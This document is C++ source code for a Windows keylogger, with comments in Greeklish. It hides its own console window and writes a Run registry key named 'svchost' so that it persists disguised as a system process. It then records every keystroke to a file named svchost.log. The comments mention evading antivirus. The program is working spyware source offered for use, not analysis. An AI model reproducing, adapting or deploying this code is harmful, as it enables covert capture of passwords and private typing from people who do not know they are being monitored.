C++ Code1

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
// to apotelesma vgainei se ena shmeiwmatario me onoma "svchost" sthn idia dief8unsh me to arxeio .exe
// an vgaleis apo tis 4 parakatw grammes tis "//", to programma 8a leitourgei 'upogeia', dhladh *den* 8a fainetai
// san para8uraki, alla merika antivirus to antimetwpizoun etsi san io...
// opote tis afhnw etsi pros to paron
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

int test,create;
test=test_key();/*check if key is available for opening*/

if (test==2)/*create key*/
{
char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
create=create_key(path);

}


int t=get_keys();

return t;
}

int get_keys(void)
{
short character;
while(1)
{
// dn nomizw na uparxei kapoio provlhma edw, h entolh afth tou leei na mhn diavazei xarakthres
// pou apexoun 10miliseconds... dhladh an patas ena gramma san jjjjjjjjjjjjjjjjjjjjjjjjjjjjj
// mporei na mhn ta diavazei ola... opote h svhse afthn thn entolh, h kane to Sleep(10) --> Sleep(1)
//Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{

FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}

}
return EXIT_SUCCESS;
}

int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;

reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}

reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;

RegCloseKey(hKey);
return check;
}

int create_key(char *path)
{
int reg_key,check;

HKEY hkey;

reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;

return check;
}